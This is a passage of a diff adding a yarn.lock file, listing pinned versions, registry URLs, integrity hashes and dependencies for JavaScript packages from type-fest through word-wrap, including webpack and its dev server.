+  integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==
+
+type-fest@^0.16.0:
+  version "0.16.0"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.16.0.tgz#3240b891a78b0deae910dbeb86553e552a148860"
+  integrity sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==
+
+type-fest@^0.20.2:
+  version "0.20.2"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+  integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
+
+type-fest@^0.21.3:
+  version "0.21.3"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.21.3.tgz#d260a24b0198436e133fa26a524a6d65fa3b2e37"
+  integrity sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==
+
+type-is@~1.6.18:
+  version "1.6.18"
+  resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131"
+  integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==
+  dependencies:
+    media-typer "0.3.0"
+    mime-types "~2.1.24"
+
+typed-array-buffer@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz#a72395450a4869ec033fd549371b47af3a2ee536"
+  integrity sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-length@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz#8407a04f7d78684f3d252aa1a143d2b77b4160ce"
+  integrity sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==
+  dependencies:
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.14"
+
+typed-array-byte-offset@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz#ae3698b8ec91a8ab945016108aef00d5bff12355"
+  integrity sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-proto "^1.2.0"
+    is-typed-array "^1.1.15"
+    reflect.getprototypeof "^1.0.9"
+
+typed-array-length@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/typed-array-length/-/typed-array-length-1.0.7.tgz#ee4deff984b64be1e118b0de8c9c877d5ce73d3d"
+  integrity sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==
+  dependencies:
+    call-bind "^1.0.7"
+    for-each "^0.3.3"
+    gopd "^1.0.1"
+    is-typed-array "^1.1.13"
+    possible-typed-array-names "^1.0.0"
+    reflect.getprototypeof "^1.0.6"
+
+typedarray-to-buffer@^3.1.5:
+  version "3.1.5"
+  resolved "https://registry.yarnpkg.com/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080"
+  integrity sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==
+  dependencies:
+    is-typedarray "^1.0.0"
+
+unbox-primitive@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/unbox-primitive/-/unbox-primitive-1.1.0.tgz#8d9d2c9edeea8460c7f35033a88867944934d1e2"
+  integrity sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==
+  dependencies:
+    call-bound "^1.0.3"
+    has-bigints "^1.0.2"
+    has-symbols "^1.1.0"
+    which-boxed-primitive "^1.1.1"
+
+underscore@1.12.1:
+  version "1.12.1"
+  resolved "https://registry.yarnpkg.com/underscore/-/underscore-1.12.1.tgz#7bb8cc9b3d397e201cf8553336d262544ead829e"
+  integrity sha512-hEQt0+ZLDVUMhebKxL4x1BTtDY7bavVofhZ9KZ4aI26X9SRaE+Y3m83XUL1UP2jn8ynjndwCCpEHdUG+9pP1Tw==
+
+undici-types@~6.20.0:
+  version "6.20.0"
+  resolved "https://registry.yarnpkg.com/undici-types/-/undici-types-6.20.0.tgz#8171bf22c1f588d1554d55bf204bc624af388433"
+  integrity sha512-Ny6QZ2Nju20vw1SRHe3d9jVu6gJ+4e3+MMpqu7pqE5HT6WsTSlce++GQmK5UXS8mzV8DSYHrQH+Xrf2jVcuKNg==
+
+unicode-canonical-property-names-ecmascript@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.1.tgz#cb3173fe47ca743e228216e4a3ddc4c84d628cc2"
+  integrity sha512-dA8WbNeb2a6oQzAQ55YlT5vQAWGV9WXOsi3SskE3bcCdM0P4SDd+24zS/OCacdRq5BkdsRj9q3Pg6YyQoxIGqg==
+
+unicode-match-property-ecmascript@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz#54fd16e0ecb167cf04cf1f756bdcc92eba7976c3"
+  integrity sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==
+  dependencies:
+    unicode-canonical-property-names-ecmascript "^2.0.0"
+    unicode-property-aliases-ecmascript "^2.0.0"
+
+unicode-match-property-value-ecmascript@^2.1.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.2.0.tgz#a0401aee72714598f739b68b104e4fe3a0cb3c71"
+  integrity sha512-4IehN3V/+kkr5YeSSDDQG8QLqO26XpL2XP3GQtqwlT/QYSECAwFztxVHjlbh0+gjJ3XmNLS0zDsbgs9jWKExLg==
+
+unicode-property-aliases-ecmascript@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz#43d41e3be698bd493ef911077c9b131f827e8ccd"
+  integrity sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==
+
+unique-string@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/unique-string/-/unique-string-2.0.0.tgz#39c6451f81afb2749de2b233e3f7c5e8843bd89d"
+  integrity sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==
+  dependencies:
+    crypto-random-string "^2.0.0"
+
+universalify@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-0.2.0.tgz#6451760566fa857534745ab1dde952d1b1761be0"
+  integrity sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==
+
+universalify@^2.0.0:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/universalify/-/universalify-2.0.1.tgz#168efc2180964e6386d061e094df61afe239b18d"
+  integrity sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==
+
+unpipe@1.0.0, unpipe@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec"
+  integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==
+
+unquote@~1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/unquote/-/unquote-1.1.1.tgz#8fded7324ec6e88a0ff8b905e7c098cdc086d544"
+  integrity sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==
+
+upath@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/upath/-/upath-1.2.0.tgz#8f66dbcd55a883acdae4408af8b035a5044c1894"
+  integrity sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==
+
+update-browserslist-db@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz#80846fba1d79e82547fb661f8d141e0945755fe5"
+  integrity sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==
+  dependencies:
+    escalade "^3.2.0"
+    picocolors "^1.1.0"
+
+uri-js@^4.2.2:
+  version "4.4.1"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.4.1.tgz#9b1a52595225859e55f669d928f88c6c57f2a77e"
+  integrity sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==
+  dependencies:
+    punycode "^2.1.0"
+
+url-parse@^1.5.3:
+  version "1.5.10"
+  resolved "https://registry.yarnpkg.com/url-parse/-/url-parse-1.5.10.tgz#9d3c2f736c1d75dd3bd2be507dcc111f1e2ea9c1"
+  integrity sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==
+  dependencies:
+    querystringify "^2.1.1"
+    requires-port "^1.0.0"
+
+util-deprecate@^1.0.1, util-deprecate@^1.0.2, util-deprecate@~1.0.1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf"
+  integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==
+
+util.promisify@~1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/util.promisify/-/util.promisify-1.0.1.tgz#6baf7774b80eeb0f7520d8b81d07982a59abbaee"
+  integrity sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==
+  dependencies:
+    define-properties "^1.1.3"
+    es-abstract "^1.17.2"
+    has-symbols "^1.0.1"
+    object.getownpropertydescriptors "^2.1.0"
+
+utila@~0.4:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/utila/-/utila-0.4.0.tgz#8a16a05d445657a3aea5eecc5b12a4fa5379772c"
+  integrity sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==
+
+utils-merge@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713"
+  integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==
+
+uuid@^8.3.2:
+  version "8.3.2"
+  resolved "https://registry.yarnpkg.com/uuid/-/uuid-8.3.2.tgz#80d5b5ced271bb9af6c445f21a1a04c606cefbe2"
+  integrity sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==
+
+v8-to-istanbul@^8.1.0:
+  version "8.1.1"
+  resolved "https://registry.yarnpkg.com/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz#77b752fd3975e31bbcef938f85e9bd1c7a8d60ed"
+  integrity sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==
+  dependencies:
+    "@types/istanbul-lib-coverage" "^2.0.1"
+    convert-source-map "^1.6.0"
+    source-map "^0.7.3"
+
+vary@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc"
+  integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==
+
+w3c-hr-time@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz#0a89cdf5cc15822df9c360543676963e0cc308cd"
+  integrity sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==
+  dependencies:
+    browser-process-hrtime "^1.0.0"
+
+w3c-xmlserializer@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz#3e7104a05b75146cc60f564380b7f683acf1020a"
+  integrity sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==
+  dependencies:
+    xml-name-validator "^3.0.0"
+
+walker@^1.0.7:
+  version "1.0.8"
+  resolved "https://registry.yarnpkg.com/walker/-/walker-1.0.8.tgz#bd498db477afe573dc04185f011d3ab8a8d7653f"
+  integrity sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==
+  dependencies:
+    makeerror "1.0.12"
+
+watchpack@^2.4.1:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.4.2.tgz#2feeaed67412e7c33184e5a79ca738fbd38564da"
+  integrity sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==
+  dependencies:
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.1.2"
+
+wbuf@^1.1.0, wbuf@^1.7.3:
+  version "1.7.3"
+  resolved "https://registry.yarnpkg.com/wbuf/-/wbuf-1.7.3.tgz#c1d8d149316d3ea852848895cb6a0bfe887b87df"
+  integrity sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==
+  dependencies:
+    minimalistic-assert "^1.0.0"
+
+webidl-conversions@^4.0.2:
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad"
+  integrity sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==
+
+webidl-conversions@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-5.0.0.tgz#ae59c8a00b121543a2acc65c0434f57b0fc11aff"
+  integrity sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==
+
+webidl-conversions@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-6.1.0.tgz#9111b4d7ea80acd40f5270d666621afa78b69514"
+  integrity sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==
+
+webpack-dev-middleware@^5.3.4:
+  version "5.3.4"
+  resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz#eb7b39281cbce10e104eb2b8bf2b63fce49a3517"
+  integrity sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==
+  dependencies:
+    colorette "^2.0.10"
+    memfs "^3.4.3"
+    mime-types "^2.1.31"
+    range-parser "^1.2.1"
+    schema-utils "^4.0.0"
+
+webpack-dev-server@^4.6.0:
+  version "4.15.2"
+  resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz#9e0c70a42a012560860adb186986da1248333173"
+  integrity sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==
+  dependencies:
+    "@types/bonjour" "^3.5.9"
+    "@types/connect-history-api-fallback" "^1.3.5"
+    "@types/express" "^4.17.13"
+    "@types/serve-index" "^1.9.1"
+    "@types/serve-static" "^1.13.10"
+    "@types/sockjs" "^0.3.33"
+    "@types/ws" "^8.5.5"
+    ansi-html-community "^0.0.8"
+    bonjour-service "^1.0.11"
+    chokidar "^3.5.3"
+    colorette "^2.0.10"
+    compression "^1.7.4"
+    connect-history-api-fallback "^2.0.0"
+    default-gateway "^6.0.3"
+    express "^4.17.3"
+    graceful-fs "^4.2.6"
+    html-entities "^2.3.2"
+    http-proxy-middleware "^2.0.3"
+    ipaddr.js "^2.0.1"
+    launch-editor "^2.6.0"
+    open "^8.0.9"
+    p-retry "^4.5.0"
+    rimraf "^3.0.2"
+    schema-utils "^4.0.0"
+    selfsigned "^2.1.1"
+    serve-index "^1.9.1"
+    sockjs "^0.3.24"
+    spdy "^4.0.2"
+    webpack-dev-middleware "^5.3.4"
+    ws "^8.13.0"
+
+webpack-manifest-plugin@^4.0.2:
+  version "4.1.1"
+  resolved "https://registry.yarnpkg.com/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz#10f8dbf4714ff93a215d5a45bcc416d80506f94f"
+  integrity sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==
+  dependencies:
+    tapable "^2.0.0"
+    webpack-sources "^2.2.0"
+
+webpack-sources@^1.4.3:
+  version "1.4.3"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
+  integrity sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==
+  dependencies:
+    source-list-map "^2.0.0"
+    source-map "~0.6.1"
+
+webpack-sources@^2.2.0:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-2.3.1.tgz#570de0af163949fe272233c2cefe1b56f74511fd"
+  integrity sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==
+  dependencies:
+    source-list-map "^2.0.1"
+    source-map "^0.6.1"
+
+webpack-sources@^3.2.3:
+  version "3.2.3"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-3.2.3.tgz#2d4daab8451fd4b240cc27055ff6a0c2ccea0cde"
+  integrity sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==
+
+webpack@^5.64.4:
+  version "5.97.1"
+  resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.97.1.tgz#972a8320a438b56ff0f1d94ade9e82eac155fa58"
+  integrity sha512-EksG6gFY3L1eFMROS/7Wzgrii5mBAFe4rIr3r2BTfo7bcc+DWwFZ4OJ/miOuHJO/A85HwyI4eQ0F6IKXesO7Fg==
+  dependencies:
+    "@types/eslint-scope" "^3.7.7"
+    "@types/estree" "^1.0.6"
+    "@webassemblyjs/ast" "^1.14.1"
+    "@webassemblyjs/wasm-edit" "^1.14.1"
+    "@webassemblyjs/wasm-parser" "^1.14.1"
+    acorn "^8.14.0"
+    browserslist "^4.24.0"
+    chrome-trace-event "^1.0.2"
+    enhanced-resolve "^5.17.1"
+    es-module-lexer "^1.2.1"
+    eslint-scope "5.1.1"
+    events "^3.2.0"
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.2.11"
+    json-parse-even-better-errors "^2.3.1"
+    loader-runner "^4.2.0"
+    mime-types "^2.1.27"
+    neo-async "^2.6.2"
+    schema-utils "^3.2.0"
+    tapable "^2.1.1"
+    terser-webpack-plugin "^5.3.10"
+    watchpack "^2.4.1"
+    webpack-sources "^3.2.3"
+
+websocket-driver@>=0.5.1, websocket-driver@^0.7.4:
+  version "0.7.4"
+  resolved "https://registry.yarnpkg.com/websocket-driver/-/websocket-driver-0.7.4.tgz#89ad5295bbf64b480abcba31e4953aca706f5760"
+  integrity sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==
+  dependencies:
+    http-parser-js ">=0.5.1"
+    safe-buffer ">=5.1.0"
+    websocket-extensions ">=0.1.1"
+
+websocket-extensions@>=0.1.1:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/websocket-extensions/-/websocket-extensions-0.1.4.tgz#7f8473bc839dfd87608adb95d7eb075211578a42"
+  integrity sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==
+
+whatwg-encoding@^1.0.5:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz#5abacf777c32166a51d085d6b4f3e7d27113ddb0"
+  integrity sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==
+  dependencies:
+    iconv-lite "0.4.24"
+
+whatwg-fetch@^3.6.2:
+  version "3.6.20"
+  resolved "https://registry.yarnpkg.com/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz#580ce6d791facec91d37c72890995a0b48d31c70"
+  integrity sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==
+
+whatwg-mimetype@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz#3d4b1e0312d2079879f826aff18dbeeca5960fbf"
+  integrity sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==
+
+whatwg-url@^7.0.0:
+  version "7.1.0"
+  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06"
+  integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==
+  dependencies:
+    lodash.sortby "^4.7.0"
+    tr46 "^1.0.1"
+    webidl-conversions "^4.0.2"
+
+whatwg-url@^8.0.0, whatwg-url@^8.5.0:
+  version "8.7.0"
+  resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-8.7.0.tgz#656a78e510ff8f3937bc0bcbe9f5c0ac35941b77"
+  integrity sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==
+  dependencies:
+    lodash "^4.7.0"
+    tr46 "^2.1.0"
+    webidl-conversions "^6.1.0"
+
+which-boxed-primitive@^1.1.0, which-boxed-primitive@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz#d76ec27df7fa165f18d5808374a5fe23c29b176e"
+  integrity sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==
+  dependencies:
+    is-bigint "^1.1.0"
+    is-boolean-object "^1.2.1"
+    is-number-object "^1.1.1"
+    is-string "^1.1.1"
+    is-symbol "^1.1.1"
+
+which-builtin-type@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/which-builtin-type/-/which-builtin-type-1.2.1.tgz#89183da1b4907ab089a6b02029cc5d8d6574270e"
+  integrity sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==
+  dependencies:
+    call-bound "^1.0.2"
+    function.prototype.name "^1.1.6"
+    has-tostringtag "^1.0.2"
+    is-async-function "^2.0.0"
+    is-date-object "^1.1.0"
+    is-finalizationregistry "^1.1.0"
+    is-generator-function "^1.0.10"
+    is-regex "^1.2.1"
+    is-weakref "^1.0.2"
+    isarray "^2.0.5"
+    which-boxed-primitive "^1.1.0"
+    which-collection "^1.0.2"
+    which-typed-array "^1.1.16"
+
+which-collection@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/which-collection/-/which-collection-1.0.2.tgz#627ef76243920a107e7ce8e96191debe4b16c2a0"
+  integrity sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==
+  dependencies:
+    is-map "^2.0.3"
+    is-set "^2.0.3"
+    is-weakmap "^2.0.2"
+    is-weakset "^2.0.3"
+
+which-typed-array@^1.1.16, which-typed-array@^1.1.18:
+  version "1.1.18"
+  resolved "https://registry.yarnpkg.com/which-typed-array/-/which-typed-array-1.1.18.tgz#df2389ebf3fbb246a71390e90730a9edb6ce17ad"
+  integrity sha512-qEcY+KJYlWyLH9vNbsr6/5j59AXk5ni5aakf8ldzBvGde6Iz4sxZGkJyWSAueTG7QhOvNRYb1lDdFmL5Td0QKA==
+  dependencies:
+    available-typed-arrays "^1.0.7"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    for-each "^0.3.3"
+    gopd "^1.2.0"
+    has-tostringtag "^1.0.2"
+
+which@^1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
+  integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
+  dependencies:
+    isexe "^2.0.0"
+
+which@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
+  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@^1.2.5, word-wrap@~1.2.3:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
